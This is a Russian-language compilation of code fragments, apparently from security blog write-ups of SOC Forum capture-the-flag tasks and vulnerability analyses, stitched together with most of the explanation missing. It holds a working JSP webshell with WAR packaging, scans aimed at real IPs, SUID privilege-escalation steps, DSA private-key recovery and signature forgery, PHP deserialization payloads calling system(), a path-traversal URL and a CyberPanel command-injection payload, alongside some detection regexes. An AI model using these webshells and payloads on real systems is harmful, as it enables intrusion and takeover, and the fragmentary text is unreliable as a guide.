О чём речь
8 ноября на SOC Forum мы предложили вам попробовать свои силы в решении задач по пентесту, форензике и OSINT. Сегодня делимся с вами ответом на задание по пентесту.

Легенда:
Компания X внедрила в свою инфраструктуру контейнер сервлетов, основанный на Apache Tomcat. Этот контейнер позволяет тестировать, отлаживать и запускать веб-приложения, написанные на Java. Сможешь проверить, насколько надежно защищена эта система?

Цель:
Получи root-доступ к серверу и собери все 3 флага.

Сервер для исследования:
195.19.96.163

В случае, если виртуальная машина недоступна, второй сервер: 195.19.96.166

sudo nmap --top-ports 1000 -A -sS -sV --open 195.19.96.163 -Pn

sudo apt install default-jdk

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd, null, null);
         BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s + "</br>"; }
      } catch(IOException e) { e.printStackTrace(); }
   }
%>
<pre><%=output %></pre>

mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *

ssh john@195.19.96.163

find / -perm -u=s -type f 2>/dev/null
ls -la /home/john/.noscript/change-pass
id john
cat /home/john/.noscript/change-pass.c

cat /root/.flag3.txt

struct _gs_connect
{
  union {
    struct _gs_hdr_lc hdr;
    struct
    {
      uint8_t type;
      uint8_t version_major;
      uint8_t version_minor;
      uint8_t flags;
      uint8_t reserved1[4];
      uint8_t reserved2[8];
      uint8_t token_NOTUSED[GS_TOKEN_SIZE];    // 16 bytes
      uint8_t addr[GS_ADDR_SIZE];             // 16 bytes
    };
  };
  uint8_t reserved3[16];
  uint8_t reserved4[64];
};

struct _gs_listen    /* 128 bytes */
{
  union {
    struct _gs_hdr_lc hdr;    
    struct
    {
      uint8_t type;
      uint8_t version_major;
      uint8_t version_minor;
      uint8_t flags;
      uint8_t reserved1[4];
      uint8_t reserved2[8];
      uint8_t token[GS_TOKEN_SIZE];         // 16 bytes
      uint8_t addr[GS_ADDR_SIZE];
    };
  };
  uint8_t reserved3[16];
  uint8_t reserved4[64];
};

struct _gs_start
{
  uint8_t type;
  uint8_t flags;
  uint8_t reserved[2];
  uint8_t reserved2[28];
};

struct _gs_status
{
  uint8_t type;
  uint8_t err_type;
  uint8_t code;
  uint8_t reserved[1];
  uint8_t msg[28];  
};

struct _gs_accept
{
  uint8_t type;
  uint8_t reserved[3];
  uint8_t reserved2[28];
};

GS_PKT_TYPE_LISTEN  (0x01)  
GS_PKT_TYPE_CONNECT  (0x02)  
GS_PKT_TYPE_PING  (0x03)  
GS_PKT_TYPE_PONG  (0x04)  
GS_PKT_TYPE_START  (0x05)  
GS_PKT_TYPE_ACCEPT  (0x06)  
GS_PKT_TYPE_STATUS  (0x07)  

struct config_encrypted {
  DWORD magic; // HOOK
  DWORD firstPartDataSize
  BYTE firstPartData[firstPartDataSize];
  DWORD secondPartMagic; // 08 FB 80 8F
  DWORD secondPartDataSize;
  BYTE secondPartData[secondPartDataSize];
};

О чем речь
На SOC FORUM во время квеста Solar 4RAYS мы предложили вам взломать коммуникации змеев и узнать их секрет.

Сегодня делимся с вами ответом на задание по форензике. Ответы по пентесту были выше.

__isoc99_scanf("%d", &is_good_sign);
  fflush(stdin);
  __isoc99_scanf("%s", v8);
  v4 = strcmp(FromPlanet, "Zmesk") == 0;
  if ( !is_good_sign )
  {
    v1 = rand();
    printf("%s%d\n", s[v1 % 3], v6);
    fflush(_bss_start);
  }
  if ( is_good_sign == 1 && !v4 )
  {
    v2 = rand();
    puts(s[v2 % 2 + 3]);
    fflush(_bss_start);
  }
  if ( is_good_sign == 1 && v4 )
  {
    puts("Ty odin is nas {}");
    fflush(_bss_start);
  }
  return 0LL;

from Crypto.PublicKey import DSA
from Crypto.Hash import SHA1
from Crypto.Signature import *
from Crypto.Util.number import inverse
from Crypto.Math.Numbers import Integer
from binascii import unhexlify, hexlify


def calculate_x(public_key, k, r, s, h):
    q = public_key._key["q"]
    r_inv = r.inverse(q)
    x = r_inv * (s*k - h) % q
    return x

public_key_file = 'dsa.pub'
message = "Mi est Zmiy s planeti Zmesk".encode("utf-8")
hash_hex = SHA1.new(message)
signature_hex = unhexlify("5dee4c2f57a24000558f13ec20937ea95d287fb15492d9d3805c4bd758b8d859571913d213626a65")
k = 54533

with open(public_key_file, 'rb') as f:
    public_key = DSA.import_key(f.read())

h = Integer.from_bytes(hash_hex.digest())
r_s_length = len(signature_hex) // 2
r = Integer.from_bytes(signature_hex[:r_s_length])
s = Integer.from_bytes(signature_hex[r_s_length:])

x_value = calculate_x(public_key, k, r, s, h)
public_key._key["x"] = x_value
print(f"The calculated parameter x is: {x_value}")

dss = DSS.new(public_key, 'fips-186-3')
print("Verification Zmiy meassage ", not dss.verify(hash_hex, signature_hex))

# LETS HACK ZMIY
message = b"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaZmesk"
m_hash = SHA1.new(message)
sign = dss.sign(m_hash)
print("Verification our message ", not dss.verify(m_hash, sign)) # library returns false when signature is ok \_0_/

print(f"{message.decode("utf-8")}:{hexlify(m_hash.digest()).decode("utf-8")}:{hexlify(sign).decode("utf-8")}")

$mdata = unserialize(stripslashes(base64_decode($_COOKIE['mgpf_geo_coockie'])));

O:14:"VulnerableClass":1:{s:7:"command";s:12:"echo 'Hacked!'";}

VulnerableClass Object
(
    [command] => echo 'Hacked!'
)

 class VulnerableClass {
    public $command;

    public function __wakeup() {
        system($this->command);
    }
}

O:\d+:\"[a-zA-Z0-9_-]+\":\d+:(\{s:\d+:\"[a-zA-Z0-9_-]+\";(a|s|i|b|O):\d+|{})

POST /options.php HTTP/2
Host: XXX.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Content-Length: 117
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=sfh3js6atmat4pedsjl1pctl86
Accept-Encoding: gzip
csrf_token=***&section=general&This_install_noscript=dsdasd

 <input type="hidden" name="csrf_token" value="***"/>

clients_can_register=1
clients_auto_approve=1
clients_can_upload=1

https://xxxxxx/npm-pwg/..;/axis2-AWC/services/listServices 

(\.{2,};\/|\.{2,}\/)

npm-pwg\/(\.{2,};\/|\.{2,}\/)

data=O:15:"MaliciousObject":1:{s:3:"cmd";s:14:"system('whoami')

O:\d+:\"[a-zA-Z0-9_-]+\":\d+:(\{s:\d+:\"[a-zA-Z0-9_-]+\";(a|s|i|b|O):\d+|{})

execPath = execPath + " createVirtualHost --virtualHostName " + domain + " --administratorEmail " + adminEmail + " --phpVersion '" + phpSelection + "' --virtualHostUser " + externalApp + " --ssl " + str(1) + " --dkimCheck " + str(1) + " --openBasedir " + str(data['openBasedir']) + ' --websiteOwner "' + websiteOwner + '" --package "' + packageName + '" --tempStatusPath ' + tempStatusPath + " --apache " + apacheBackend + " --mailDomain %s" % (mailDomain) 

ProcessUtilities.popenExecutioner(execPath)

{"package":"Default","domainName":"cyberpanel.net","adminEmail":"asd@ss.dd","phpSelection":"PHP 8.0'asdasdasdadadadadaadad  $(touch /tmp/test)# ","ssl":0,"websiteOwner":"admin","dkimCheck":0,"openBasedir":0,"mailDomain":0,"apacheBackend":0} 

[;|&#><$\/\[\]\{\}\(\):`\'\"]+